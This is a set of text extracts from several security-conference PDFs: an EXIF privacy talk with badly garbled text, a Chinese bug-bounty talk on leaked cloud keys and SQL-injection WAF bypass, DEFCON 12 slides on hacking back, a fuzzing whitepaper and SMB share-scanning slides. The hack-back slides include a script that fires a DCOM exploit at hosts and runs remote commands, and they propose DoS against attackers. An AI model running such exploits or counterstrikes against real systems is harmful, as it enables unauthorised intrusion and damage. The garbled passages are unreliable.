In(2012(two(US(power(plants((ICSDCERT)( were(infiltrated(when(an(employee( inadvertently(brought(an(infected(USB( sEck(onto(the(premises.( The(Trouble(with(IP(as(Evidence( •  Requires(work(by(law(enforcement((paperwork)( •  Not(idenEty,(does(not(put(person(in(front(of(computer( •  Probable(cause(is(a(challenge( •  Not(always(accurate((proxies(etc)( •  Takes(a(long(Eme( •  Other(“thei(recovery”(companies(use(more(intrusive( methods(( 2009D02D21(23:43:49( When(CorrelaEon(Does(Imply(CausaEon(( Data$Created$By$Us$ Data$Created$For$Us$ Data$Created$About$Us$ BogeyData$ InteracEon(of(Things( DEVICE(ID( SOCIAL(ACCOUNT(1( IP(ADDRESS( PHOTO( EMAIL( FRIEND((CONNECTION( SOCIAL(ACCOUNT(2( USERNAME( PHONE(NUMBER( LICENSE(PLATE((#( SOCIAL(SECURITY(#( GEOLOCATION( ! First(Blood:(( First(Recovery(of(Laptop(Using(WiDFi(GeolocaEon(+(Camera( Tracking(Viktor( Carjacking(In(Brazil( ((exifscan.com)( EXIF(Metadata( •  Meta(data(in(images,(video(and(audio( ( •  Cell(phone(cameras(embed(GPS(coordinates( ( •  Timestamp( $ •  High$end$digital$cameras:$make,(model(and(serial(number( •  EXIF(Tool(( ( hap://www.sno.phy.queensu.ca/~phil/exiiool/( Nude(Photos(–(Phone(Hacked…Nope?( •  Media(claims(“Phone(Hacked!”( ( •  EXIF(data(reveals,(mulEple(phones,(over(the(course( of(years( ( •  (Point(of(compromise(–(email( •  Chris(Chaney(–(guessed(passwords(now(serving(10( years(in(jail( ( ( EXIF(Data(Mining( x1000( 0142X9823( D(Date(uploaded( D(Serial(number( D(Make/model( D(URL( CreaEng(an(EXIF(Search(Engine( JOHN(HELLER( Stolen(Camera(Finder( STOLEN(CAMERA(HUNTING(+(SOCIAL(STALKING( D(Name( D(Business((“professional(photographer”(and(DJ)( D(Address(from(domain(reg( D(Cell(phone(number( D(Social(media(&(photo(sharing(accounts( D(12(different(high(end(cameras((new(one(every(few(months)( D(Lots(of(photos( GEOLOCATION( (((((((((((+((( TIMESTAMP( Privacy(Tips(for(App(Developers( •  Best(way(to(secure(your(customer’s(data(is(not(to(collect(or(store(it( ( •  If(you(deal(with(images(strip(EXIF(and(other(idenEfying(data(out( ( •  If(you(store(data,(encrypt(as(much(data(so(that(not(even(you(can(access( it(
pdf
SRC漏洞挖掘漫谈 星光 2 0 2 1 年 1 月 9 日 安 全 爱 好 者 , 对 自 动 化 漏 洞 挖 掘 有 着 自 己 的 见 解 。 获 得 2 0 2 1 T S R C 神 洞 猎 手 奖 星光 AK/ SK 信 息 泄 露 , 自 动发 现 SQ L 注 入 绕 WAF探 测 Hos t 碰 撞 检 测 实 现 域 名 监 控和 站 点变 化 监 控 AK/SK 信息泄露,自动发现 一、AK/SK 信息泄露,自动发现 1.API& 响 应 包 中 2.J S⽂ 件 中 3.G it Hu b 中 4 .APK& 中 5 .& 等 场 景 1、API&响应包中 通 过 B u r p 的 筛 选 功 能 搜 索 “ A K I D ” 一、AK/SK 信息泄露,自动发现 2、JS⽂件中 • 框 架 使 ⽤ ⼴ 泛 • J S 按 需 加 载 • 动 态 爬 ⾍ 难 触 发 • 寻 找 清 单 ⽂ 件 一、AK/SK 信息泄露,自动发现 • 正 则 匹 配 清 单 内 容 • 成 功 解 析 到 J S 路 径 • 路 径 等 信 息 提 ⾼ • 正 则 匹 配 A K I D 一、AK/SK 信息泄露,自动发现 3、GitHub中 搜 索 “ s e c r e t K e y R s e c r e t I D ” 等 关 键 字 一、AK/SK 信息泄露,自动发现 4、APK中 通 过 爬 ⾍ 收 集 A P K R U R L 一、AK/SK 信息泄露,自动发现 ⼯具 p y t hon& 整 合 下 ⾯ 的软 件 wge t & 下 载 a p k⽂ 件 j a dx & 反 编 译 a p k gr e p & 匹 配 关 键 字 一、AK/SK 信息泄露,自动发现 SQL注入绕WAF探测 1 . 存 在 W A F , ⽆ 法 使 ⽤ 特 殊 语 句 2 . 构 建 不 同 语 句 , ⽐ 对 响 应 3 . 注 释 语 句 , 效 果 最 好 4 . 单 引 号 闭 合 5 . 异 常 信 息 匹 配 6 . 等 二、SQL注入绕WAF探测 Host 碰撞检测实现 三、Host 碰撞检测实现 1 . W e b 服 务 器 配 置 不 当 2 . 修 改 H o s t 内 ⽹ 域 名 可 被 访 问 3 . 内 ⽹ 站 点 被 访 问 往 往 存 在 问 题 1.⽤灯塔等⼯具收集域名 2.解析域名找公⽹IP和内⽹域名 3.对公⽹IP访问,Host字段改成内⽹域名 4.对⽐响应,找到结果 三、Host 碰撞检测实现 误报处理 1 . 结 果 静 态 过 滤 根 据 经 验 只 保 留 2 0 0 、 3 0 1 、 3 0 2 R 状 态 码 2 . 动 态 过 滤 根 据 状 态 码 、 C o n t e n t 类 型 、 页 ⾯ 标 题 、 响 应 B o d y R 多 个 维 度 判 断 重 复 三、Host 碰撞检测实现 域名监控和站点变化监控 四、域名监控和站点变化监控 0.SRC资产更新频繁,⼈⼯乏⼒ 1 . ⼦ 域 名 监 控 周 期 性 对 ⼦ 域 名 进 ⾏ 发 现 并 ⽐ 对 原 有 数 据 , 发 现 新 域 名 进 ⾏ 消 息 通 知 2 . 站 点 变 化 监 控 周 期 性 发 现 可 访 问 站 点 并 ⽐ 对 原 有 数 据 , 发 现 新 站 点 进 ⾏ 消 息 通 知 四、域名监控和站点变化监控 追 光 少 年 终 于 也 变 成 了 光
pdf
Digital Active Digital Active Self Defense Self Defense DEFCON 12 DEFCON 12 OUDOT Laurent OUDOT Laurent oudot oudot@ @rstack rstack.org .org http://www. http://www.rstack rstack.org/ .org/oudot oudot// Some references • Defending your right to defend: Considerations of an automated strike-back technology – Timothy M. Mullen • Launch on Warning: Aggressive Defense of Computer Systems – Curtis E.A. Karnow • Enforcer, Automated Worm Mitigation for private networks – BlackHat Seattle, February 2003, Timothy M.Mullen, AnchorIS.com • Vigilantes on the net – Barbara Moran, NewScientist, 12 june 2004 • Symbiot, Adaptive Platform for Network Security – http://www.symbiot.com • Active Defense research project, Dittrich – http://staff.washington.edu/dittrich/ad/ Summary • Introduction • Current threats and limitations • Active Defense • Warning • Legal Issues • Technical considerations • Requirements • Honeypots • Internal computers • Internal threats • Examples • Technical limitations • Conclusions Introduction • Current threats – Known limitations for defense technologies • Many solutions in the information security field – Laws fail for certain kind of activities • Natural temptation – Fighting back attackers, counterstrike… • Not so many solutions that use active countermeasure capabilities – Interesting field of research and development ? The digital threats • Though we use more and more security technologies, there are still security problems – Confidentiality, Integrity, Availability, Copyright, etc – Information Assurance • External threats – Firewall, Proxies, Hardened services… • Ethical Hackers, Corporate spies, Cyber terrorists... • Internal threats : easier/faster access – Authentication, In-depth Protection... • Trainees, Outsourcing, Employees… From hardening to reaction • A lot of technologies might be used to block evil traffic – Routers, Firewalls, proxies, etc – Allow the minimum that is needed • But aggressors still find solutions like : – Bouncing in (bad security rules, bugs, etc) – Getting an access inside the minimum accepted (target services, target end-users with stupid clients, etc) • Countermeasure technologies – While getting a sign of an attack (IDS…), security resources will respond by trying to stop the attack – Could it be an interesting answer to handle some threats ? Countermeasure problems • Countermeasure : Detection Reaction • The delay between a detection and the associated response is not zero second – Some packets may reach the victims – IDS see signs of attacks while victims receive the attacks, so that responses (RST, ICMP, firewall ruleset modified…) may arrive too late to stop the attack (which has ever begun) – Examples of problems : • SQL-Worm : 1 UDP small packet ! • Multiple source of attackers... Prevention / Countermeasure • « Intrusion Detection Systems + Firewall » ? – Why couldn't we prevent the attack when we detect the attack, in order to avoid problems ? – Easy to say new concept ?! • “happy super market concept” ? OR “real technical concept” ? • Intrusion Prevention Systems – NIPS : Network IPS • Inline IDS • Bait and switch honeypots… – HIPS ? • Sanboxes (systrace…)... Prevention + Deception • Diverting evil traffic • “Building an Early Warning System in a Service Provider Network”, BH Europe 2004, Nicolas Fischbach • Bait and switch, « aggressive honeypot » – Easy GPL modification on snort : snort plugin output – Netfilter and routing under Linux2.4 – When evil packets are caught by snort from a given IP source, this one is redirected to a fake network : prevention and deception • An attacker launch an attack to the production network • He is caught by the modified snort • All his future actions will be transparently redirected to a deception network (dedicated to blackhat people) Taken from http://www.violating.us/projects/baitnswitch Bait & Switch example Diversion limitations • Excellent cool concept mixing firewalls, IDS and honeypots in a kind of prevention architecture • Some limitations : – Yet another single point of failure (DOS) – Rulesets and evasions against the IDS (snort) – Denial of service with IP Spoofing of attacks claiming to come from friendly hosts (white list to maintain) – Fingerprinting a B&S network • TCP problems after the switching • TCP Timestamp changes… • Multiple IP Source for the attacks : deception detected BlackHats versus Prevention • Denial of service – « IDS are too slow & easy to attack with states tables attacks, packet bombing...» – More problems with IPS : detection AND prevention to do ! • Abusing the rulesets – « easy to bypass ids with evasion, and 0-days exploits can’t be caught » – More problems with IPS : 0-prevention ! • Generating a denial of service – Spoofing an attack coming from (a) friendly host(s) – Solution: white list, but what if a friend is used to bounce to you ? • What about distributed attacks ? – Multiple source of coordinated attackers Active Defense… • Usual methods would not always work ? – Block incoming traffic • Might be problem for online services – Apply rate limitation • Bandwidth adjusted – Divert the traffic • Bait and switch technologies (honeypots) – Fake responses (decoy) • Should we use more aggressive methods ? – Self Defense – Counterstrike • Disable, destroy, control the attacker Warning • Limitations – Not a legal expert – Legal issues might be different depending of the countries... Legal Issues • Toward a concept of digital active self defense ? • Self defense occurs when someone is threatened with imminent bodily harm – Might be applied to avoid injury to property • Requirements – Necessity: No choice but using force • No adequate alternatives – Proportionality: This force is reasonable • Proportional response to the harm avoided – The threat is unlawful Proportional response • What could mean proportional ? – subjectivity • Need to create a classification of attacks to chose the appropriate response – Families of attacks and hierarchy • DDOS > DOS ? • Remote shell > Scan ? • … • Once it is done, you might be able to take a decision No adequate alternatives • Proving that you had no other choice ? • Experts could argue that many other possibilities might be used : – First consideration : disconnect the victim(s) to avoid the attack ? • Self Defense doctrine does not require the victim to back away • Such a disconnection would result in a kind of denial of service on the victim – what about an e-business web server ? – Other possibilities : perimeter defenses ? • How can we explain that the counterstrike tools were able to fight back the attacker and that they could not block the attack ? – So many solutions of security to avoid an attack • Conclusion : might be difficult to prove that you had no other possibility No adequate alternatives Legal Issues and IW • What about Information Warfare ? – Not officially recognized by The Hague and Geneva Conventions – No real example of act of war on the cyber battlefield • Individuals, groups, governments… – No real legal considerations Technical considerations • Striking back ? – Identify the tools/methods/sources • IDS… • Avoid spoofing… – Take a decision • White list / Black list : destination allowed – e.g. internal users – Strike back Self Defense Usual clients Scanners Exploits Trojan clients ... Action Action Victim Aggressor Reaction Reaction Fighting back usual clients • Imagine what would happen if the aggressors used vulnerable or mis-configured clients ? – Web clients (IE…), – SSH clients (Putty, OpenSSH…), – Mail clients (Outlook…), – DNS resolvers, – IRC clients… • Then a remote control/crash would be possible – Very interesting for Self Defense ! Fighting back usual clients ?? • This is a not a so easy task – Is it just theory ? • Fighting back a listening client (mail client, etc) might be easier because you can try an attack multiple times (multiple mails...) • Fighting back an incoming client may be a one shot operation (web client, etc) during a specific phase • You will need specific information to launch such an attack : Operating System (p0f...), Version (“Banner”)... Exploiting Exploits ? • Imagine what would occur if there were vulnerabilities in the code of an exploit ? – Buffer overflow, string format, etc • Have you ever audit the source code of exploits ? – Not just talking about the payload – Script kiddies don’t understand such sources • “When i launched dcom-xpl.c it did not work !?” • Automatic tools used to launch remote attacks or audits are written properly – NASL for Nessus, Python for Core Impact... Playing with scanners • Many kind of scanners are used in the wild – Network layers – Banners – Security tests • Some are poorly designed from a security point of view and might lead to insecurity – Buffer overflows, Format strings – Reports badly generated (HTML including banners grabbed on the targets without checking data) Clients of Trojan Horses • How many times did you get an incoming probe for Trojan port toward your internal network ? • Imagine if there were vulnerabilities in the code of a Trojan horse client ? – Then a counterattack would be possible ! • Moreover, it has been seen in the wild that some young blackhats use the same kind of backdoor on a chain of bounce – If you steal the password/method/tool on one host, you could probably try to climb the chain back to the real author of the cyber crime Worms Self Defense Technology 1) Infection attempt 1) Infection attempt Worm i+1 2) Reaction 2) Reaction 1) Infection attempt 1) Infection attempt Worm i-1 2) Reaction 2) Reaction 1) Infection attempt 1) Infection attempt Worm i 2) Reaction 2) Reaction Handling worms problems • Theory : a worm W comes from host A to host H. => A is infected by W (?) => A is (was) vulnerable to the attack used by W => A may still be vulnerable => H attacks A through this vulnerability => H takes the control of A, => H cleans A, patches A, hardens A, etc • Proof of concept with Honeyd versus MSBlast – SecurityFocus - Infocus, October 2003 : "Fighting Internet Worms With Honeypots" • http://www.securityfocus.com/infocus/1740 – Black Hat Asia, December 2003 • http://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-oudot/slides/bh-asia-03-oudot.pdf #!/bin/sh # launch the exploit against the internal infected attacker # then execute commands to purify the ugly victim /usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF taskkill /f /im msblast.exe /t del /f %SystemRoot%\System32\msblast.exe echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\cleaner_msblast.reg echo "windows auto update" = "REM msblast" >> c:\cleaner_msblast.reg regedit /s c:\cleaner_msblast.reg del /f c:\cleaner_msblast.reg shutdown -r -f -t 0 exit EOF Example : script to launch an automatic remote cleaning of infected hosts (!) Honeyd versus MSBlast Others ideas • B00mrang effect : proxy aggression back to aggressor – add template tcp port 80 proxy $ipsrc:80 • Audit the auditor – Try to get same kind of information on the aggressor (scan...) • DOS/DDOS toward the client or its infrastructure • ... Real examples… • Code Red II – Anti code red II « default.ida » script • Strike back that abuses the remote CRII – Attack occurs over a TCP session: might be the real source – Problem with attacks over simple UDP flows • e.g. MS SQL Server, UDP 1434, Litchfield related exploits • Symbiot.com technologies • … Requirements • Graduated response : level of reactions to strike back with a proportional response – A too aggressive posture could be dangerous • Determination of hostile hosts (level of threats) – Behaviour, intrusion detection analysis, etc – Risk: false positive (huh! sorry) • Profiling the attack – Probes, scanners, exploits, clients, malware, worms, Dos, etc – Choose the appropriate strike back possibility – Real life example: DEFense CONdition • DEFCON 5 Normal peacetime readiness • DEFCON 4 Normal, increased intelligence and strengthened security measures • DEFCON 3 Increase in force readiness above normal readiness • DEFCON 2 Further Increase in force readiness, less than maximum readiness • DEFCON 1 Maximum force readiness. Specific opportunities • Though lawyers could argue that Self Defense is a very dangerous response to a digital threat, one can think about : – Honeypots – Internal Threats Honeypots • « A honeypot is a security resource whose values lies in being probed, attacked or compromised » – This is a non production system • Used to delude attackers – Incoming traffic is suspicious (should avoid false positive) – That implies that the decision of launching a counterstrike is probably easier • Honeypots are really interesting technologies for aggressive defense purpose – Incoming traffic might be suspicious and should be considered as an aggression – Being “evil” with an aggressor might look like self defense Internal Computers • Official remote administrator access might be possible on internal computers/devices – On a final destination (potential attacker) – Near potential attackers • Network devices at one or two hops... • Counterstrike might be used inside your own network in order to protect it – Might be an easy and clean method (no exploits, etc) • Stop processes, add firewalling rules, reboot/halt, modify files, patch… • Might be very useful to avoid fast propagation of worms... Handling internal threats • Local Area Network • Striking back your own computers – Those computers are under your legal control – If you have the right to pentest them, why could'nt you strike back in their direction ? • Very useful to find evil end users – Corporate hackers, zealot end-users... • Potential risk: spoofing is easier on a LAN – Layer 2 attacks, etc Technical limitations • Counterstrike technologies might not exist for some kind of threats – Need remote exploits for each worms, evil tools, etc [!] • False positive • Spoofing • Collateral damage Conclusions • Technology – Really interesting – Feeling of doing something right – New possibilities to explore in order to protect an infrastructure • Organization – Counterstrike might be used to target internal computers/devices – Add In-Depth Security capabilities (kind of advanced intrusion prevention system) – Information Warfare battlefield • Blackhats – Yet another way to attack (attackers ?!) – e.g. Evil Honeypots • Questions ? • Greetz : Dragos Ruiu, Dave Dittrich, Jennifer Granick, Barbara Moran, Nicolas Fischbach, Philippe Biondi
pdf
Analysis of Mutation and Generation-Based Fuzzing Whitepaper Charlie Miller and Zachary N. J. Peterson Independent Security Evaluators www.securityevaluators.com March 1, 2007 c⃝ Independent Security Evaluators 2007. All rights reserved Analysis of Mutation and Generation-Based Fuzzing 1 Abstract We present a study of two methods of dynamic application analysis: mutation-based fuzzing and generation-based fuzzing. We quantify the differences of these methods by measuring the amount of executed code required to parse PNG image files. Results indicate that generation-based fuzzing can execute 76% more code when compared to mutation-based methods. 1 Introduction “Intelligent fuzzing usually gives more results.” – Ilja van Sprundel[8] Dynamic analysis, or fuzzing, is a popular method of finding security vulnerabilities in software [10]. Fuzzing may be used by a developer to find potential problems as part of the quality-assurance process. Likewise, a fuzzer may be used to find potential exploits in an existing soft- ware application. The technique of fuzzing consists of sending a large volume of different inputs into a program in an attempt to make the program perform in a manner that was not intended. Fuzzing may result in memory corruption, a program crash, extreme resource usage, etc. Such incidents may be exploited to cause a denial of ser- vice or even allow an attacker to execute arbitrary code in the context of the application. Fuzzing has grown in popu- larity because it is much easier (and often more effective) to generate and run arbitrary inputs than it is to perform a manual code audit or use software reverse engineering. One of the most important aspects of successfully find- ing vulnerabilities by fuzzing is the quality and quantity of the fuzzed inputs. These inputs, or test cases, are nor- mally constructed in one of two fashions. In the first method, called mutation-based fuzzing, known good data is collected (files, network traffic, etc) and then modified; modifications may be random or heuristic. Examples of heuristic mutations include replacing small strings with longer strings or changing length values to either very large or very small values. The other method, known as generation-based fuzzing, starts from a specification or RFC, which describes the file format or network protocol, and constructs test cases from these documents. The key to making effective test cases is to make each case differ from valid data so as to (hopefully) cause a problem in the application, but not to make the data too invalid, or else the target application may quickly discard the input as invalid. The advantage to mutation-based fuzzing is that lit- tle or no knowledge of the protocol or application under study is required. All that is needed is one or more good samples and a method of fuzzing a target application. On the other hand, generation-based fuzzing requires a signif- icant amount of up-front work to study the specification and manually generate test cases. Sometimes manually generated test cases become too similar to the specifica- tion and do not differ in the unpredictable ways that ben- efit generation-based fuzzing. Regardless, intuition says that the extra knowledge gained by understanding the for- mat should result in higher quality test cases. Van Sprun- dels quote at the beginning of this section summarizes this belief. However, there has not yet been an attempt to quantify how much better generation-based fuzzing per- forms than mutation-based fuzzing. This paper takes one specific file format, the Portable Network Graphics (PNG) format, and attempts to pre- cisely quantify the potential advantages gained by using a generation-based approach. It does not attempt to quan- tify the added difficulties in constructing test cases in a generated form or to establish the number of test cases required to completely fuzz an application. Our results show that generation-based fuzzing performs up to 76% better when compared to mutation-based fuzzing techniques. 2 Portable Network Graphics Files The Portable Network Graphics (PNG) format is an exten- sible file format for the loss-less storage of compressed raster images. This format is widely used and is sup- ported by most Internet web browsers including Internet Explorer, Firefox, and Safari. A PNG file begins with an eight byte signature con- taining the following values: 137 80 78 71 13 10 26 10. This signature is followed by a sequence of chunks. Each chunk consists of a four byte length field, a four byte chunk type field, an optional chunk data field, and a four byte cyclic redundancy code (CRC) checksum field. The length field is an unsigned integer that gives the length of Analysis of Mutation and Generation-Based Fuzzing 2 Figure 1: The image containing the most chunks (nine). the data chunk field in bytes. The chunk type field is de- signed so that the four bytes are in the ASCII range and the case of the letters has significance for the decoder. The PNG specification [9] defines eighteen chunk types of which three are mandatory in every PNG file: IHDR, IDAT and IEND. Optional chunks are referred to as an- cillary. Ancillary chunks may be ignored by a decoder. An extension to the original PNG specification exists [4], from which we consider three additional chunks. In this paper, we consider a total of twenty-one different types of chunks: IHDR, PLTE, tRNS, cHRM, gAMA, iCCP, IDAT, SBIT, sRGB, tEXt, zTXt, iTXt, bKGD, hIST, pHYs, sPLT, tIME, oFFs, pCAL, sCAL, IEND Some chunk types may occur more than once in a file. Additionally, some chunks are mutually exclusive. For example, if the iCCP chunk is present, the sRGB chunk should not be present. Furthermore, the ordering of some chunks is mandated. For example, the IHDR chunk should be first and the IEND chunk should be last. Some chunks, such as the tIME chunk, may occur anywhere in the file, while other chunks, such as the bKGD chunk, must occur after the PLTE chunk but before the IDAT chunk. Lastly, the specification also allows other chunks in addition the twenty-one we consider, to be present in a file. We do not consider these for this paper. 0 100 200 300 400 500 600 10 11 12 13 14 15 16 17 18 19 20 21 9 8 7 6 5 4 3 Number of Files Number of Chunk Types 220 560 237 422 137 54 1 Figure 2: The distribution of the number of chunks present in a file. 3 PNG File Format Statistics A collection of 1,631 unique PNG files were collected from the Internet. To obtain these files, the Alexa Web Search Platform (AWSP) [1] was used to obtain a list of all URLs ending in “.png”. After processing 16,623 po- tential PNG URLs using tools available through AWSP, 1,631 valid PNG files were obtained. The URLs that did not produce a valid PNG file were either no longer avail- able, were not PNG files, were duplicates of other files obtained, or required authentication to acquire. The valid files were dissected according to the specification and statis- tics were obtained on the number and types of chunks present in each file (see Table 1). For each file, we counted the number of chunks that comprised the PNG image. Results are shown in Fig- ure 2. Very few files have more than seven chunks and none have no more than nine chunks. Figure 3 illustrates the frequency of chunk type in the PNG files. As ex- pected, all files contained the mandatory IHDR, IDAT and IEND chunks. However, nine of the twenty-one consid- ered chunk types occurred in fewer than 5% of the files and some chunk types failed to appear at all. These results demonstrate that choosing random files from the Internet to perform mutation-based fuzzing, with- out knowledge of the protocol, will generally only fuzz a few different chunk types. On average, only five of the possible twenty-one chunks will be tested by randomly selecting a file – a significant limitation. Vulnerabilities Analysis of Mutation and Generation-Based Fuzzing 3 Number of Files Mean Standard Deviation Maximum Minimum 1631 4.9 1.3 9 3 Table 1: Distribution of the number of chunks in a file. 0 20 40 60 80 100 oFFs pCAL sCAL IEND tIME pHYs sPLT iTXt bKGD hIST zTXt tEXt PLTE tRNS cHRM gAMA iCCP IDAT sBIT sRGB IHDR Numbers of Files that Contain Chunk Type (%) Chunk Type 32% 11% 19% 34% 5% 3% 13% 19% 4% 10% 34% 8% 1% Figure 3: The frequency of type chunk type in files. cannot be discovered in code that is not executed, ex- emplifying the advantages of generation-based fuzzing. However, it is not possible to make the conclusion that generation-based fuzzing is more effective without know- ing more about the binaries that decode the PNG. For ex- ample, perhaps all commodity decoders ignore all but the most common types of chunks, in which case it is only im- portant to fuzz those chunks that are present in common PNGs. We address this concern by correlating code cov- erage of the PNG decoder with the different chunk types. 4 Analysis of Code Coverage for PNG Chunks In order to draw a conclusion about the differences be- tween mutation and generation-based fuzzing, it is neces- sary to see the types of chunks that mutation-based fuzzing is likely to miss, but also to observe the amount of code these chunks represent in the PNG decoder. In other words, missing a chunk that has very little unique processing in- volved may not be as detrimental as missing a chunk that requires a significant amount of parsing and processing. Code coverage is a metric used to describe the num- ber lines of source code (or assembly) that have been ex- ecuted. We use code coverage to measure the amount of code used to process each chunk. While there is not nec- essarily a correlation between code coverage and finding security vulnerabilities, it is certainly the case that code that is not executed will not reveal any vulnerabilities. The PNG decoder we choose to examine is a small front-end to libpng 1.2.16 [5]. This library is used by most open source web browsers for PNG decoding, including Firefox, Opera, and Safari. In order to obtain code cover- age information, the library was instrumented with gcov [7] to record the source lines executed. As a first step, the coverage for opening an empty file was measured in order to reveal the general processing and start-up code. Next, a minimal PNG file was obtained that contained only the mandatory chunks, namely IHDR, IDAT, and IEND. The difference between the coverage of the minimal file and the coverage opening an empty file is considered to be the minimal amount of code needed to parse a PNG using libpng. We can conclude that this difference excludes gen- Analysis of Mutation and Generation-Based Fuzzing 4 0 20 40 60 80 100 sCAL pCAL oFFs tIME sPLT pHYs hIST bKGD iTXt zTXt tEXt sRGB sBIT iCCP cHRM gAMA tRNS PLTE Numbers of Lines of Code Needed to Process Chunk Type (%) Chunk Type 13% 48% 45% 44% 21% 20% 50% 24% 33% 10% 29% 24% 25% 27% 14% 9% 25% 15% Figure 4: The number of lines of code required to process each chunk as a percentage of the amount of code required to process a minimal PNG file. eral startup and file I/O and only measures the coverage of the required instructions to decode the three mandatory chunks. In order to measure the effects of each chunk type on code coverage, we use generation-based fuzzing to incre- mentally add new chunk types to the minimal PNG file and re-measure code coverage. We used an open-source generation-based fuzzing tool called SPIKEfile [3] to dy- namically create approximately 1,000 files for each added chunk type. Chunks were added one at a time, with the only exception being the hIST chunk which requires the PLTE chunk. We configured SPIKEfile to create PNG file variations that share the same chunk types and structure, but differ in chunk type properties and sizes. This varia- tion provides an insight into how chunk types affect code coverage. Figure 4 illustrates the approximate increase of code required to parse each chunk type as a percentage of the amount of code required to parse the minimal PNG file. Note that due to the nature of the fuzzing, and the fact that there are often dependencies between different chunks (es- pecially the IHDR chunk), these numbers represent a lower bound on the amount of code required for processing each chunk. Results show that some chunk types require more code than others, but all require a significant amount of code. In particular, chunk types that were not represented at all in the files collected (iTXt, sPLT, sCAL, and hIST) to- gether represent 76% more code than is required to pro- cess the three mandatory chunks in the minimal PNG file. This code could not have be covered using mutation-based fuzzing. To achieve a maximum code coverage, one must use files that include all the different chunks types. This comes at the cost of a significant initial effort to com- pletely understand the file format. 5 Mutation Versus Generation-based Fuzzing We formally compare the code coverage of mutation-based and generation-based fuzzing techniques. Two different variations of a mutation-based fuzzer were used. The first takes a known good file and randomly manipulates bytes in various chunk types but does update the correspond- ing CRC. This represents the most basic type of mutation- based fuzzer as it does not insert new bytes into the file, for example, long strings. The second similarly manip- ulates random bytes, but generates a correct correspond- Analysis of Mutation and Generation-Based Fuzzing 5 0 50 100 150 200 250 300 Gen Mut−CRC−9 Mut−CRC−7 Mut−CRC−5 Mut−9 Mut−7 Mut−5 Increase in Number of Lines of Code Covered (%) 60% 98% 139% 85% 137% 150% 289% Figure 5: The number of lines of source code covered as a percentage of the amount of code required to decode a minimal PNG file. ing CRC. This assumes some basic knowledge about the file type. Our mutation-based fuzzer functions very simi- larly to the mutation-based fuzzers, FILEfuzz [6] and Not- SPIKEfile [2]. We ran our mutation-based fuzzer starting from three known good files. The first file contains five different chunk types that would be the most likely number to find by chance, the second contains seven chunk types that would be unlikely to find by chance, and the last con- tains nine chunk types that would be extremely unlikely to find by chance. For each of these three starting files, 200,000 test cases were generated: 100,000 randomly mu- tated files, and 100,000 mutated files with matching CRCs. For generation-based fuzzing, all of the files created for the previous section using SPIKEfile were tested. Ad- ditionally, files were created that fuzzed some of the non- data fields, such as block length, CRC, chunk name, etc. This resulted in a set of 29,511 test cases that covered all twenty-one chunk types. The set of test cases was sig- nificantly smaller than those used by the mutation-based fuzzer and no randomness was used in the generation of the generation-based test cases – they are strictly heuristic. This is a distinct advantage of generation-based fuzzing techniques. The comparison of code coverage results are shown in Figure 5. “Mut” refers to the mutation-based fuzzing tech- niques, for the five, seven and nine chunk type test cases, with and without CRCs. “Gen” refers to the generation- based test cases. These results confirm the cursory anal- ysis of the previous sections. The initial file with five chunk types contained the mandatory three chunk types, plus bKGD and pHYs. Figure 4 estimates that these two chunks add an additional 55% of code coverage over the minimal PNG file. Figure 5 indicates that fuzzing begin- ning from this initial file covers 60% more code than the minimal file. In this case, Figure 4 serves as a method of estimating code coverage for the actual fuzzing runs. Despite the clear difference in fuzzing methods, our experimental procedure has limitations. Fuzzing is not an exact science and the results presented are only an indi- cation of a trend. Code coverage could change signifi- cantly by varying only a few factors, such as longer run times, more detailed test cases, etc. However, due to the fact that applications often contain large sections of code that will only execute with uncommon inputs, mutation- based fuzzers will always fair poorly when compared to generation-based fuzzers. We confirmed this hypothesis with our PNG experiments. For the PNG file format, on average, a mutation-based fuzzer will only cover approx- imately 24% of the code of a generation-based fuzzer. 6 Conclusions This paper measures the quantitative differences between mutation and generation-based fuzzing for the PNG im- Analysis of Mutation and Generation-Based Fuzzing 6 age file format and libpng. For this file format, a mutation- based fuzzer is at a large disadvantage due to the lack of diverse files available for testing. Results indicate that large sections of code that will not be exercised. A generation- based approach faired much better. There still exists much future work, including extending this technique to other file formats and decoders and refining the metrics of code coverage. References [1] ALEXA. Alexa web search platform: Beta. https://websearch.alexa.com, 2007. [2] GREEN, A., AND IDEFENSE LABS. notSPIKEfile. http://labs.idefense.com/software/, 2005. [3] GREEN, A., AND IDEFENSE LABS. SPIKEfile. http://labs.idefense.com/software/, 2005. [4] RANDERS-PEHRSON, G. Extensions to the PNG 1.1 specification, version 1.1.0. http://www.libpng.org/pub/png/spec, 1998. [5] ROELOFS, G. libpng home page. http://www.libpng.org/pub/png, 2007. [6] SUTTON, M., AND IDEFENSE LABS. FileFuzz. http://labs.idefense.com/software/, 2006. [7] THE GNU PROJECT. gcov – a test coverage pro- gram. http://gcc.gnu.org/. [8] VAN SPRUNDEL, I. Fuzzing: Breaking software in an automated fashion. Talk at: 22nd Chaos Commu- nication Congress: Private Investigations, 2005. [9] W3C. Portable Network Graphics (PNG) Spec- ification (Second Edition) Information technol- ogy – Computer graphics and image process- ing – Portable Network Graphics (PNG): Func- tional specification. ISO/IEC 15948:2003 (E). http://www.w3.org/TR/PNG, 2003. [10] WIKIPEDIA. Fuzz testing. Analysis of Mutation and Generation-Based Fuzzing 7
pdf
SHAREENUM: WE WRAPPED SAMBA SO YOU DON’T HAVE TO Lucas Morris @lucasjmorris Michael McAtee @michael.mcatee About Us Lucas Morris Manager at Crowe Horwath LLP “Manager”, Pentester, Code Monkey Michael McAtee Senior Consultant at Crowe Horwath LLP Pentester, SysAdmin, [something funny here] About Us Lucas Morris => [email protected] => @lucasjmorris => github.com/emperorcow Michael McAtee => [email protected] => @michaelmcatee => github.com/jmmcatee https://github.com/emperorcow/shareenum Overview SMB / CIFS Refresher Windows Permissions Refresher (DACLs, SDDL, ACEs, etc.) The Problem With Scanning Today What Share Scanning Is Good For Tools! Windows File Sharing CIFS Basically SMB 1.0 Mostly open & is the published spec that others implement to SMB SMB 1.0: Windows XP, Server 2003 R2, & Prior SMB 2.0: Windows Vista, Server 2008, & Above SMB 2.1: Windows 7, Server 2008 R2, & Above SMB 3.0: Windows 8, Server 2012, & Above SMB 3.02: Windows 8.1, Server 2012 R2 Types of Shares Special Types of Shares (IPC$, ADMIN$, C$) $ = Hidden… usually IPC$ = InterProcess Communication ADMIN$ = C:\Windows\System32 C$, D$, etc. = Drive Shares These are default an rarely removed Although you can disable them 